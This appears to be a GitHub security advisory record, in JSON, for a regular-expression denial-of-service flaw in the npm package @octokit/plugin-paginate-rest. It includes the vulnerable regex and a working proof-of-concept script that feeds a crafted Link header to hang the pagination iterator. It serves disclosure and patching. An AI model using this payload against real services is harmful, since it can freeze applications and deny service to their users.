{"id":"GHSA-h5c3-5r3r-rr8q","summary":"@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","details":"### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n  /\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n  auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious 'link' header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) =\u003e {\n  const maliciousLinkHeader = \"\" + \"\u003c\".repeat(100000) + \"\u003e\"; // attack string\n  return {\n    data: [],\n    headers: {\n      link: maliciousLinkHeader, // Inject malicious 'link' header\n    },\n  };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () =\u003e {\n  try {\n    for await (const normalizedResponse of octokit.paginate.iterator(\n      \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n    )) {\n      console.log({ normalizedResponse });\n    }\n  } catch (error) {\n    console.error(\"Error encountered:\", error);\n  }\n})();\n```\n![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.","aliases":["CVE-2025-25288"],"modified":"2026-09-10T03:50:22.670415754Z","published":"2025-02-14T17:57:59Z","database_specific":{"github_reviewed_at":"2025-02-14T17:57:59Z","nvd_published_at":"2025-02-14T20:15:34Z","cwe_ids":["CWE-1333"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"PACKAGE","url":"https://github.com/octokit/plugin-paginate-rest.js"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2"}],"affected":[{"package":{"name":"@octokit/plugin-paginate-rest","ecosystem":"npm","purl":"pkg:npm/%40octokit/plugin-paginate-rest"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.3.0-beta.1"},{"fixed":"11.4.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-h5c3-5r3r-rr8q/GHSA-h5c3-5r3r-rr8q.json"}},{"package":{"name":"@octokit/plugin-paginate-rest","ecosystem":"npm","purl":"pkg:npm/%40octokit/plugin-paginate-rest"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"9.2.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-h5c3-5r3r-rr8q/GHSA-h5c3-5r3r-rr8q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}